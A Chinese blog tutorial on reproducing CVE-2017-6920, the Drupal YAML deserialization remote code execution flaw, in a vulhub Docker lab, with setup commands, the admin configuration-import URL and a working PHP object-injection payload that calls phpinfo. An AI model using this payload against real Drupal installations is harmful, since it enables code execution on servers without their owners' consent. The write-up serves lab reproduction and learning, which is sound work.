温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

发布时间:2021-12-29 17:51:29 来源:亿速云 阅读:185 作者:柒染 栏目:安全技术

这篇文章将为大家详细讲解有关如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞。

漏洞影响范围:   Drupal < 8.3.4

下面仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境

本次演示环境采用vulhub搭建,执行以下命令搭建

cd /drupal/CVE-2017-6920/

docker-compose up -d

之后开启了8080端口,访问之后正常安装即可,由于没有mysql环境,所以安装的时候可以选择sqlite数据库

安装完毕之后还需要安装yaml扩展,首先执行docker ps查看容器id

之后执行docker exec -it a3df54b9def6 bash 进入容器命令行后依次执行以下命令

# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER

之后便可以开始复现漏洞了

漏洞链接: http://192.168.101.152:8080/

访问之后如下图,注意,复现该漏洞需要登录管理员账户

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

二、漏洞复现

登录一个管理账户

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

访问链接http://192.168.101.152:8080/admin/config/development/configuration/single/import

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

之后Configuration type选择为Simple configuration,Configuration name可以随便填写,Paste your configuration here中写入poc:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

之后点击左下角的Import按钮便可以触发漏洞

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

复现结束。

关于如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI